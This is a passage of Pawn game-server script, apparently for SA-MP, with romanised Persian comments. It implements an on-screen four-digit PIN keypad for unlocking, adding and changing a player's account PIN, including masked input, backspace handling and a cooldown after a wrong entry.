PlayerTextDrawHide(playerid, PINNum3[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum4[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum5[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum6[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum7[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum8[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum9[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum0[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, EnterCode[playerid]);// Jayi ke code neveshte mishe
}
if(ChandAdadZadam[playerid] == 1)
{
ChandAdadZadam[playerid] --;
format(SetKOn , sizeof(SetKOn) , "_");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
PIN1Zadam[playerid] = 9999;
}
if(ChandAdadZadam[playerid] == 2)
{
ChandAdadZadam[playerid] --;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
PIN2Zadam[playerid] = 9999;
}
if(ChandAdadZadam[playerid] == 3)
{
ChandAdadZadam[playerid] --;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
PIN3Zadam[playerid] = 9999;
}
if(ChandAdadZadam[playerid] == 4)
{
ChandAdadZadam[playerid] --;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
PIN4Zadam[playerid] = 9999;
}
}


if(playertextid == Succ[playerid])
{
if(ChandAdadZadam[playerid] == 4)
{


if(PIN1Zadam[playerid] == PINFO[playerid][pPin1] && PIN2Zadam[playerid] == PINFO[playerid][pPin2] && PIN3Zadam[playerid] == PINFO[playerid][pPin3] && PIN4Zadam[playerid] == PINFO[playerid][pPin4])
{
LockAcc[playerid] = 0;
PlayerInfo[playerid][pAutoPIN] = 1;
SaveKonVal(playerid, "pAutoPIN", 1);
GameTextForPlayer(playerid, "~W~Your Account ~G~Unlocked", 3000, 3);
CancelSelectTextDraw(playerid);
PIN1Zadam[playerid] = 9999;
PIN2Zadam[playerid] = 9999;
PIN3Zadam[playerid] = 9999;
PIN4Zadam[playerid] = 9999;
MitooneCancelKone[playerid] = 0;
ChandAdadZadam[playerid] = 0;
Pinning[playerid] = 9999;
PlayerTextDrawHide(playerid, PINBox1[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, PINBox2[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, PINBox3[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, PINBox4[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, PINBox5[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, Succ[playerid]);// Pin ro mizane
PlayerTextDrawHide(playerid, Unsucc[playerid]);// Pin ro bar migardoone
PlayerTextDrawHide(playerid, Dayere1z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere2z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere3z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere4z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere5z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere6z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere7z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere8z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere9z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere0z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, PINNum1[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum2[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum3[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum4[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum5[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum6[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum7[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum8[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum9[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum0[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, EnterCode[playerid]);// Jayi ke code neveshte mishe
}
else
{
PCoolDown[playerid] = 1;
PINCoolDown[playerid] = SetTimerEx("CoolDownePIN", 60000, false, "i", playerid);
SCM(playerid, COLOR_SINAGHERMEZ, "Authentication error occurred.");
CancelSelectTextDraw(playerid);
PIN1Zadam[playerid] = 9999;
PIN2Zadam[playerid] = 9999;
PIN3Zadam[playerid] = 9999;
PIN4Zadam[playerid] = 9999;
MitooneCancelKone[playerid] = 0;
ChandAdadZadam[playerid] = 0;
Pinning[playerid] = 9999;
PlayerTextDrawHide(playerid, PINBox1[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, PINBox2[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, PINBox3[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, PINBox4[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, PINBox5[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, Succ[playerid]);// Pin ro mizane
PlayerTextDrawHide(playerid, Unsucc[playerid]);// Pin ro bar migardoone
PlayerTextDrawHide(playerid, Dayere1z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere2z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere3z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere4z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere5z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere6z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere7z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere8z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere9z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere0z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, PINNum1[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum2[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum3[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum4[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum5[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum6[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum7[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum8[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum9[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum0[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, EnterCode[playerid]);// Jayi ke code neveshte mishe
}


}
else
{
PCoolDown[playerid] = 1;
PINCoolDown[playerid] = SetTimerEx("CoolDownePIN", 60000, false, "i", playerid);
SCM(playerid, COLOR_SINAGHERMEZ, "Authentication error occurred.");
CancelSelectTextDraw(playerid);
PIN1Zadam[playerid] = 9999;
PIN2Zadam[playerid] = 9999;
PIN3Zadam[playerid] = 9999;
PIN4Zadam[playerid] = 9999;
MitooneCancelKone[playerid] = 0;
ChandAdadZadam[playerid] = 0;
Pinning[playerid] = 9999;
PlayerTextDrawHide(playerid, PINBox1[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, PINBox2[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, PINBox3[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, PINBox4[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, PINBox5[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, Succ[playerid]);// Pin ro mizane
PlayerTextDrawHide(playerid, Unsucc[playerid]);// Pin ro bar migardoone
PlayerTextDrawHide(playerid, Dayere1z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere2z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere3z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere4z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere5z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere6z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere7z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere8z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere9z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere0z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, PINNum1[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum2[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum3[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum4[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum5[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum6[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum7[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum8[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum9[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum0[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, EnterCode[playerid]);// Jayi ke code neveshte mishe
}
}




}// Unlock acc



if(Pinning[playerid] == 2)// Add pin
{
new SetKOn[10];
if(playertextid == PINNum1[playerid])
{
if(ChandAdadZadam[playerid] < 4) ChandAdadZadam[playerid] ++;
if(ChandAdadZadam[playerid] == 1)
{
PIN1Zadam[playerid] = 1;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 2)
{
PIN2Zadam[playerid] = 1;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 3)
{

PIN3Zadam[playerid] = 1;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 4)
{
PIN4Zadam[playerid] = 1;
format(SetKOn , sizeof(SetKOn) , "]]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
}
if(playertextid == PINNum2[playerid])
{
if(ChandAdadZadam[playerid] < 4) ChandAdadZadam[playerid] ++;
if(ChandAdadZadam[playerid] == 1)
{

PIN1Zadam[playerid] = 2;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 2)
{

PIN2Zadam[playerid] = 2;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 3)
{

PIN3Zadam[playerid] = 2;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 4)
{
PIN4Zadam[playerid] = 2;
format(SetKOn , sizeof(SetKOn) , "]]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
}
if(playertextid == PINNum3[playerid])
{
if(ChandAdadZadam[playerid] < 4) ChandAdadZadam[playerid] ++;
if(ChandAdadZadam[playerid] == 1)
{

PIN1Zadam[playerid] = 3;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 2)
{

PIN2Zadam[playerid] = 3;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 3)
{

PIN3Zadam[playerid] = 3;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 4)
{
PIN4Zadam[playerid] = 3;
format(SetKOn , sizeof(SetKOn) , "]]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
}
if(playertextid == PINNum4[playerid])
{
if(ChandAdadZadam[playerid] < 4) ChandAdadZadam[playerid] ++;
if(ChandAdadZadam[playerid] == 1)
{

PIN1Zadam[playerid] = 4;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 2)
{

PIN2Zadam[playerid] = 4;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 3)
{

PIN3Zadam[playerid] = 4;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 4)
{
PIN4Zadam[playerid] = 4;
format(SetKOn , sizeof(SetKOn) , "]]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
}
if(playertextid == PINNum5[playerid])
{
if(ChandAdadZadam[playerid] < 4) ChandAdadZadam[playerid] ++;
if(ChandAdadZadam[playerid] == 1)
{

PIN1Zadam[playerid] = 5;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 2)
{

PIN2Zadam[playerid] = 5;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 3)
{

PIN3Zadam[playerid] = 5;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 4)
{
PIN4Zadam[playerid] = 5;
format(SetKOn , sizeof(SetKOn) , "]]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
}
if(playertextid == PINNum6[playerid])
{
if(ChandAdadZadam[playerid] < 4) ChandAdadZadam[playerid] ++;
if(ChandAdadZadam[playerid] == 1)
{

PIN1Zadam[playerid] = 6;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 2)
{

PIN2Zadam[playerid] = 6;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 3)
{

PIN3Zadam[playerid] = 6;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 4)
{
PIN4Zadam[playerid] = 6;
format(SetKOn , sizeof(SetKOn) , "]]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
}
if(playertextid == PINNum7[playerid])
{
if(ChandAdadZadam[playerid] < 4) ChandAdadZadam[playerid] ++;
if(ChandAdadZadam[playerid] == 1)
{

PIN1Zadam[playerid] = 7;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 2)
{

PIN2Zadam[playerid] = 7;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 3)
{

PIN3Zadam[playerid] = 7;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 4)
{
PIN4Zadam[playerid] = 7;
format(SetKOn , sizeof(SetKOn) , "]]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
}
if(playertextid == PINNum8[playerid])
{
if(ChandAdadZadam[playerid] < 4) ChandAdadZadam[playerid] ++;
if(ChandAdadZadam[playerid] == 1)
{

PIN1Zadam[playerid] = 8;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 2)
{

PIN2Zadam[playerid] = 8;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 3)
{

PIN3Zadam[playerid] = 8;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 4)
{
PIN4Zadam[playerid] = 8;
format(SetKOn , sizeof(SetKOn) , "]]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
}
if(playertextid == PINNum9[playerid])
{
if(ChandAdadZadam[playerid] < 4) ChandAdadZadam[playerid] ++;
if(ChandAdadZadam[playerid] == 1)
{

PIN1Zadam[playerid] = 9;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 2)
{

PIN2Zadam[playerid] = 9;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 3)
{

PIN3Zadam[playerid] = 9;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 4)
{

PIN4Zadam[playerid] = 9;
format(SetKOn , sizeof(SetKOn) , "]]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
}
if(playertextid == PINNum0[playerid])
{
if(ChandAdadZadam[playerid] < 4) ChandAdadZadam[playerid] ++;
if(ChandAdadZadam[playerid] == 1)
{

PIN1Zadam[playerid] = 0;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 2)
{

PIN2Zadam[playerid] = 0;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 3)
{

PIN3Zadam[playerid] = 0;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 4)
{
PIN4Zadam[playerid] = 0;
format(SetKOn , sizeof(SetKOn) , "]]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
}



if(playertextid == Unsucc[playerid])
{
if(ChandAdadZadam[playerid] == 0)
{
CancelSelectTextDraw(playerid);
PIN1Zadam[playerid] = 9999;
PIN2Zadam[playerid] = 9999;
PIN3Zadam[playerid] = 9999;
PIN4Zadam[playerid] = 9999;
MitooneCancelKone[playerid] = 0;
ChandAdadZadam[playerid] = 0;
Pinning[playerid] = 9999;
PlayerTextDrawHide(playerid, PINBox1[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, PINBox2[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, PINBox3[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, PINBox4[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, PINBox5[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, Succ[playerid]);// Pin ro mizane
PlayerTextDrawHide(playerid, Unsucc[playerid]);// Pin ro bar migardoone
PlayerTextDrawHide(playerid, Dayere1z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere2z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere3z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere4z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere5z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere6z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere7z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere8z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere9z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere0z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, PINNum1[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum2[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum3[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum4[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum5[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum6[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum7[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum8[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum9[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum0[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, EnterCode[playerid]);// Jayi ke code neveshte mishe
}
if(ChandAdadZadam[playerid] == 1)
{
ChandAdadZadam[playerid] --;
format(SetKOn , sizeof(SetKOn) , "_");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
PIN1Zadam[playerid] = 9999;
}
if(ChandAdadZadam[playerid] == 2)
{
ChandAdadZadam[playerid] --;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
PIN2Zadam[playerid] = 9999;
}
if(ChandAdadZadam[playerid] == 3)
{
ChandAdadZadam[playerid] --;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
PIN3Zadam[playerid] = 9999;
}
if(ChandAdadZadam[playerid] == 4)
{
ChandAdadZadam[playerid] --;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
PIN4Zadam[playerid] = 9999;
}
}

if(playertextid == Succ[playerid])
{
if(ChandAdadZadam[playerid] == 4)
{
new Molllla[100];
format(Molllla, sizeof(Molllla), "Are you sure you want to add pin code?\nEntered pin code: %d%d%d%d",PIN1Zadam[playerid], PIN2Zadam[playerid], PIN3Zadam[playerid], PIN4Zadam[playerid]);
ShowPlayerDialog(playerid, 6039, DIALOG_STYLE_MSGBOX, "Adding pin code", Molllla, "Yes", "No");
}
else
{
SCM(playerid, COLOR_SINAGHERMEZ, "Authentication error occurred, pin code must be 4 numbers.");
}
}





}// Add pin



if(Pinning[playerid] == 3)// Change pin
{
new SetKOn[10];
if(playertextid == PINNum1[playerid])
{
if(ChandAdadZadam[playerid] < 4) ChandAdadZadam[playerid] ++;
if(ChandAdadZadam[playerid] == 1)
{
PIN1Zadam[playerid] = 1;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 2)
{
PIN2Zadam[playerid] = 1;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 3)
{

PIN3Zadam[playerid] = 1;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 4)
{
PIN4Zadam[playerid] = 1;
format(SetKOn , sizeof(SetKOn) , "]]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
}
if(playertextid == PINNum2[playerid])
{
if(ChandAdadZadam[playerid] < 4) ChandAdadZadam[playerid] ++;
if(ChandAdadZadam[playerid] == 1)
{

PIN1Zadam[playerid] = 2;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 2)
{

PIN2Zadam[playerid] = 2;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 3)
{

PIN3Zadam[playerid] = 2;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 4)
{
PIN4Zadam[playerid] = 2;
format(SetKOn , sizeof(SetKOn) , "]]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
}
if(playertextid == PINNum3[playerid])
{
if(ChandAdadZadam[playerid] < 4) ChandAdadZadam[playerid] ++;
if(ChandAdadZadam[playerid] == 1)
{

PIN1Zadam[playerid] = 3;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 2)
{

PIN2Zadam[playerid] = 3;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 3)
{

PIN3Zadam[playerid] = 3;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 4)
{
PIN4Zadam[playerid] = 3;
format(SetKOn , sizeof(SetKOn) , "]]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
}
if(playertextid == PINNum4[playerid])
{
if(ChandAdadZadam[playerid] < 4) ChandAdadZadam[playerid] ++;
if(ChandAdadZadam[playerid] == 1)
{

PIN1Zadam[playerid] = 4;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 2)
{

PIN2Zadam[playerid] = 4;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 3)
{

PIN3Zadam[playerid] = 4;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 4)
{
PIN4Zadam[playerid] = 4;
format(SetKOn , sizeof(SetKOn) , "]]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
}
if(playertextid == PINNum5[playerid])
{
if(ChandAdadZadam[playerid] < 4) ChandAdadZadam[playerid] ++;
if(ChandAdadZadam[playerid] == 1)
{

PIN1Zadam[playerid] = 5;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 2)
{

PIN2Zadam[playerid] = 5;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 3)
{

PIN3Zadam[playerid] = 5;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 4)
{
PIN4Zadam[playerid] = 5;
format(SetKOn , sizeof(SetKOn) , "]]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
}
if(playertextid == PINNum6[playerid])
{
if(ChandAdadZadam[playerid] < 4) ChandAdadZadam[playerid] ++;
if(ChandAdadZadam[playerid] == 1)
{

PIN1Zadam[playerid] = 6;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 2)
{

PIN2Zadam[playerid] = 6;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 3)
{

PIN3Zadam[playerid] = 6;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 4)
{
PIN4Zadam[playerid] = 6;
format(SetKOn , sizeof(SetKOn) , "]]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
}
if(playertextid == PINNum7[playerid])
{
if(ChandAdadZadam[playerid] < 4) ChandAdadZadam[playerid] ++;
if(ChandAdadZadam[playerid] == 1)
{

PIN1Zadam[playerid] = 7;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 2)
{

PIN2Zadam[playerid] = 7;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 3)
{

PIN3Zadam[playerid] = 7;
